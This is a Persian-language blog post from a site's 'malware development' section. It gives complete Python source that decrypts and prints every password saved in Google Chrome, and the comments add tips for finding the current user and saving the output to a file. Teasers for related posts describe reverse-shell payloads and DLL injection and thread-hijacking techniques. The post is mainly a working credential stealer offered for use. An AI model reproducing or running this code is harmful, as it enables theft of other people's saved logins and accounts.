بیرون کشیدن پسوورد های google chrome با پایتون

پسوورد های google chrome

سلام دوستان 🙂 حالتون ؟ احوالتون ؟ اقا امروز یه دونه از اون آموزش باحالا رو داریم . میخوایم یه اسکریپتی بنویسیم که تا اجراش میکنیم بیاد بیل بزنه تمام پسوورد های ذخیره شده روی مرورگر گوگل کروم رو بریزه بالا . این ویدیو رو از دست ندین به دوستاتونم معرفی کنید 🙂

سورس کد نوشته شده در ویدیو

				
					
# Chrome Password Extract

import json
from base64 import b64decode
import win32crypt
import sqlite3 
import shutil
from Crypto.Cipher import AES

f = open("C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State")
local_state = json.loads(f.read())

key = local_state["os_crypt"]["encrypted_key"]

#  1
key = b64decode(key) # Base 64 Decoder
key = key[5:]
#  2
key = win32crypt.CryptUnprotectData(key)[1]
###########################################
path = "C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
shutil.copy(path+"Login Data" , path+"database2") # Copy Database

database = sqlite3.connect(path+"database2")
cursor = database.cursor()

cursor.execute("select origin_url , username_value , password_value from logins")

result = cursor.fetchall()

def decrypt(password , key):
    iv = password[3:15]
    password = password[15:]
    
    cipher = AES.new(key , AES.MODE_GCM , iv)
    password = cipher.decrypt(password)
    password = password[:-16].decode()
    return password


for i in result:
    url = i[0]
    username = i[1]
    password = decrypt(i[2] , key)
    print("{} : ".format(url))
    print("\tusername : {}".format(username))
    print("\tpassword : {}".format(password))
    print()


input()
				
			

این آموزش متعلق به بخش توسعه بدافزار است

برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!
resources in malware development

بهره گیری از بخش Resource فایل های PE در بدافزارها

همانطور که میدانید ساختار اصلی فایل های اجرایی در سیستم عامل ویندوز ، ساختار PE میباشد . این ساختار شامل بخش های مختلف برای نگهداری انواع مختلف اطلاعات میباشد . مثلا بخشی به نام text. برای نگهداری کد های ماشین فایل اجرایی ، بخشی به نام idata. برای نگهداری اطلاعات مربوط به واردات (Imports) فایل و …. یکی از بخش های بسیار مهم فایل های PE که در توسعه بدافزار ها به شدت استفاده میشود بخش Resource ها میباشد . برنامه نویس یا بدافزار نویس میتواند هرنوع اطلاعات دلخواهی را در این بخش ذخیره کند و حین اجرا آن اطلاعات را به دلخواه استخراج کرده و از آن ها استفاده کند . در این ویدیو نحوه کار با توابع Windows API جهت استفاده از Resource ها را یاد گرفته و برای مثال بدافزاری مینویسیم که یک پیلود reverse shell را در زمان اجرا از بخش resource های خود استخراج کرده و آن را اجرا میکند .

بیشتر بخوانید
Appinit_DLLs dll injection

تزریق DLL با استفاده از کلید رجیستری Appinit_DLLs

در این ویدیو یکی دیگر از روش های تزریق DLL را یاد میگیریم که با استفاده از تغییر رجیستری انجام میشود . مزیت این روش نسبت به روش های دیگر تزریق DLL در این هست که به محض پیاده سازی آن ، DLL دلخواه ما به تمام پروسه های ویندوز که پس از آن ساخته میشوند به طور خودکار تزریق میشود و درنتیجه با استفاده از آن برای مثال میتوانیم تکنیک هایی مثل API Hooking را برای تمامی پروسه های تازه سیستم انجام دهیم …. در این ویدیو با استفاده از تزریق DLL با این روش ، یک payload از نوع reverse_shell در سیستم قربانی اجرا میکنیم و به خط فرمان آن دسترسی پیدا میکنیم .

بیشتر بخوانید
Thread Hijacking in windows

تزریق کد با تکنیک Thread Hijacking

نخ ها واحد های اجرایی در پروسه ها و در هر پروسه در حال اجرا ، حداقل یک نخ (Thread) اجرایی وجود دارد . یکی از روش های مرسوم تزریق کد به نام Thread Hijacking به این روش عمل میکند که بدافزار یکی از نخ های در حال اجرا در پروسه هدف را وادار به اجرای کد دلخواه میکند . این روش با تغییر مقدار ثبات EIP یا RIP در نخ مربوطه انجام میشود . همانطور که میدانید ثبات EIP (در معماری x86) یا RIP (در معماری x86-64) یک ثبات ۳۲ یا ۶۴ بیتی است که حاوی آدرس دستورالعمل بعدی در حافظه است که پردازنده اجرا خواهد کرد حال اگر ما مقدار این ثبات را طوری تغییر دهیم که به کد دلخواه ما اشاره کند در نتیجه دستورالعمل های بعدی که پردازنده اجرا خواهد کرد ، کد ما خواهد بود . 

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

USER1108 ۲۳ فروردین ۱۴۰۲

به به
چقد تمیز و قشنگ شده سایت
اقا ی سوال
C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State
شما اینجا اسم ویندوز رو گفتی که حسین
و مال من هم پرو بود
اگر اسم سیستم رو ندونیم
چی کار میشه کرد که خودش بفهمه؟

حسین احمدی ۲۴ فروردین ۱۴۰۲

سلام . سلامت باشی 🙂
کتابخونه getpass رو import کن .
تابع getpass.getuser رو فراخونی کنی خروجیش اسم user فعلی رو برمیگردونه .

آواتار کاربر کاربر مهمان HAZARD ۸ خرداد ۱۴۰۲

عه ممنون کار کرد
و اینکه
منم تو حدودای ۹۹ شروع کردمXD
به هر حال ممنون ازت
راستش داریم ی ابزار میزنیم
و قطعا اسم سایت تو منابع اوله

حسین احمدی ۸ خرداد ۱۴۰۲

پس بالاخره درست شد 🙂 خداروشکر
عالیه . موفق باشی
خواهش میکنم .
ممنون از شما . اگه دوست داشتی منم در جریان بزار وقتی کامل شد ابزارت

آواتار کاربر کاربر مهمان USER41312 ۱۵ خرداد ۱۴۰۲

اقا حالت؟ احوالت؟
چرا سایت اپدیت نمیشه؟
اقا یک سوال
چجوری میشه خروجی که پسورد هارو نمایش میده
به طور کامل کپی کنیم یا تو یک فایل txt سیو کنم؟

حسین احمدی ۱۵ خرداد ۱۴۰۲

سلامت باشی .
آپدیت ؟ چه آپدیتی ؟
به قسمت ۱۸ دوره جامع پایتون مراجعه کن در مورد کار با فایل ها است .
تو اون قسمت اشاره میشه چجوری داخل یک فایل txt اطلاعات بنویسیم . از اون تکنیک استفاده کن تا خروجی که میخوای رو داخل فایل بنویسی .

آواتار کاربر کاربر مهمان مهدی ۲۴ مهر ۱۴۰۲

سلام
ممنون از آموزش خوبتون
فقط ی موردی که من باهاش مشکل دارم اینه که این دو فایل رو از ی سیستم یا یوزر دیگه کپی میکنم توی یوزر خودم و میخام برنامه رو ران کنم خطا میده -ظاهرا یوزری که اون دو فایل رو آوردم دیگه و سیستم و یوزر خودم دسترسی نداره

حسین احمدی ۲۴ مهر ۱۴۰۲

سلام . خواهش میکنم .
به دلیل اینکه توابع رمزگشایی داده ای که استفاده میشه از اعتبارنامه های یوزر فعلی به عنوان کلید رمزگشایی استفاده میکنه بنابراین باید با همون یوزری که فایل های مربوطه بهش رو میخونید کد رو اجرا کنید

محمدطاها محمدپوراوارشکی ۱۵ فروردین ۱۴۰۳

سلام ممنون از اموزش
جسارتا سر این پکیج کریپتو به مشکل میخورم
from Crypto.Cipher import AES
ModuleNotFoundError: No module named ‘Crypto’
با اینکه هم پکیج crypto رو دارم هم pycryptodoem و هر دو بروز و اخرین نسخه هستن؟، ورژن پایتون هم ۳.۱۲.۲ هست. رو ویژوال استودیو، پایچارم هر دو ارور میده برای این پکیج. ممنون میشم راهنمایی کنی

حسین احمدی ۲۳ فروردین ۱۴۰۳

سلام خواهش میکنم .
ممکنه مشکل از نصب همزمان چندین نسخه از این کتابخانه ها روی سیستم شما باشه با استفاده از دستورات زیر نسخه های قبلی رو حذف کنید و سپس یک بار نسخه جدید رو نصب کنید :
دستور حذف نسخه های قبلی:
pip uninstall pycrypto
pip uninstall pycryptodome
pip uninstall crypto
نصب نسخه جدید:
pip install pycryptodome

آواتار کاربر کاربر مهمان روح ۱۹ اردیبهشت ۱۴۰۴

سلام من ویندوزم پریده میخوام ویندوز جدید رو نصب کنم قبلش فایل های datalogin و local state رو برداشتم چجوری میشه روی ویندوز دیگه به پسورد های سایت هام دسترسی داشته باشم؟؟؟

حسین احمدی ۲۱ اردیبهشت ۱۴۰۴

سلام . با اسکریپت همین پست تست کنید . فایل های LoginData و LocalState که برداشتید رو بذارید کنار اسکریپت و آدرس این فایل ها رو در سورس کد اصلاح کنید .